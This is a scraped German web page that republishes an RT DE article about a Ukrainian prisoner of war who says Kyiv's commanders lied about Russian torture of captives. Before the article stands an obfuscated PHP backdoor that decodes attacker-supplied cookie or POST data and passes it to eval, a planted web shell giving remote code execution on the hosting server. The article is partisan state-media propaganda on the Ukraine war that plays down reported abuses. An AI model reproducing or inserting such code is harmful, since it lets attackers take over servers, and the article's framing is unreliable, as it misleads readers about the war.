$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Ukrainischer Kriegsgefangener über Kiews Gräuelpropaganda — RT DE – No-Zensur.de Das freie Wort für eine freie Welt
Start RT-deutsch Ukrainischer Kriegsgefangener über Kiews Gräuelpropaganda — RT DE

Ukrainischer Kriegsgefangener über Kiews Gräuelpropaganda — RT DE

0
Ukrainischer Kriegsgefangener über Kiews Gräuelpropaganda — RT DE


Russische Soldaten würden gefangenen Ukrainern Finger und Ohren abschneiden, behauptete Kiews Militärführung gegenüber den eigenen Kämpfern. Die Realität sieht indessen wohl weniger gruselig aus. Ein ukrainischer Kriegsgefangener berichtet.

"Sie schneiden euch die Finger ab": Ukrainischer Kriegsgefangener über Kiews Gräuelpropaganda© Screenshot: RIA Nowosti

Die ukrainische Militärführung verbreitete unter ihren Soldaten Falschmeldungen darüber, dass kriegsgefangene Ukrainer von russischen Militärangehörigen angeblich gefoltert würden. Dies berichtete Alexander Lasarenko, ein in russischer Gefangenschaft befindlicher Soldat des 125. Bataillons der ukrainischen 113. Separaten Territorialverteidigungsbrigade, in einem am Donnerstag veröffentlichten Gespräch mit der Nachrichtenagentur RIA Nowosti.

Lasarenkos Verband wurde ursprünglich für den Dienst im tiefen Hinterland aufgestellt. Nachdem ein Kämpfer der Brigade beim Versuch, eine Handgranate zum Fischen einzusetzen, einen Arm verlor sowie ein weiterer in einer Konfliktsituation sein Sturmgewehr auf einen Kameraden abfeuerte, sei die gesamte Einheit im Rahmen einer Kollektivstrafe an die Front versetzt worden. Die Kämpfer des 125. Bataillons sollten Schützengräben ausheben und gerieten dabei oft unter russisches Artilleriefeuer. Nach einem solchen Angriff verloren Lasarenko und ein weiterer Soldat die Orientierung und gerieten daraufhin am 27. November in russische Kriegsgefangenschaft.

In einem von RIA Nowosti veröffentlichten Video berichtet der Gefangene:

„Uns wurde gleich gesagt: ‚Sie werden euch Finger und Ohren abschneiden, also bittet gleich um eure Erschießung.‘ Als ich gefangen genommen wurde und mit ihnen ging, bettelte ich sie auf Knien an und sagte: ‚Jungs, erschießt mich!‘ Sie sagten: ‚Bist du verrückt?'“

Lasarenko habe sogar den russischen Soldaten angeboten, eine Flucht vorzutäuschen, um ihnen einen Vorwand zu geben, ihn zu erschießen. Nachdem er deren Reaktion durch eine charakteristische Geste gezeigt hatte, setzt er fort:

„Sie sagten: ‚Warum sollten wir dich erschießen, du bist doch unbewaffnet, alles wird gut.'“

Als er seine heilen Hände zeigt, erklärt er:

„Man hat uns einfach eingeschüchtert, dass man uns in Gefangenschaft die Finger abschneiden werde, aber die Jungs haben mir Wasser, Dosenfleisch und Tee gegeben.“

Vor dem Hintergrund unbestätigter Meldungen über Misshandlungen von Kriegsgefangenen durch russische Militärangehörige waren bereits zahlreiche Fälle von Folter und Mord an russischen Gefangenen durch Kiews Militär dokumentiert worden.

Mehr zum Thema – „Außer Russland wird sich niemand drum scheren“: Erneut Hinrichtungsvideo aufgetaucht

Durch die Sperrung von RT zielt die EU darauf ab, eine kritische, nicht prowestliche Informationsquelle zum Schweigen zu bringen. Und dies nicht nur hinsichtlich des Ukraine-Kriegs. Der Zugang zu unserer Website wurde erschwert, mehrere Soziale Medien haben unsere Accounts blockiert. Es liegt nun an uns allen, ob in Deutschland und der EU auch weiterhin ein Journalismus jenseits der Mainstream-Narrative betrieben werden kann. Wenn Euch unsere Artikel gefallen, teilt sie gern überall, wo Ihr aktiv seid. Das ist möglich, denn die EU hat weder unsere Arbeit noch das Lesen und Teilen unserer Artikel verboten. Anmerkung: Allerdings hat Österreich mit der Änderung des „Audiovisuellen Mediendienst-Gesetzes“ am 13. April diesbezüglich eine Änderung eingeführt, die möglicherweise auch Privatpersonen betrifft. Deswegen bitten wir Euch bis zur Klärung des Sachverhalts, in Österreich unsere Beiträge vorerst nicht in den Sozialen Medien zu teilen.

Am 24. Februar kündigte der russische Präsident Wladimir Putin an, gemeinsam mit den Streitkräften der Donbass-Republiken eine militärische Spezialoperation in der Ukraine zu starten, um die dortige Bevölkerung zu schützen. Die Ziele seien, die Ukraine zu entmilitarisieren und zu entnazifizieren. Die Ukraine spricht von einem Angriffskrieg. Noch am selben Tag rief der ukrainische Präsident Wladimir Selenskij im ganzen Land den Kriegszustand aus.

Der Westen verurteilte den Angriff, reagierte mit neuen Waffenlieferungen, versprach Hilfe beim Wiederaufbau und verhängte Sanktionen gegen Russland.

Auf beiden Seiten des Konfliktes sind zahlreiche Soldaten und Zivilisten getötet worden. Moskau und Kiew haben sich gegenseitig verschiedener Kriegsverbrechen beschuldigt. Tausende Ukrainer sind mittlerweile aus ihrer Heimat geflohen.





Source link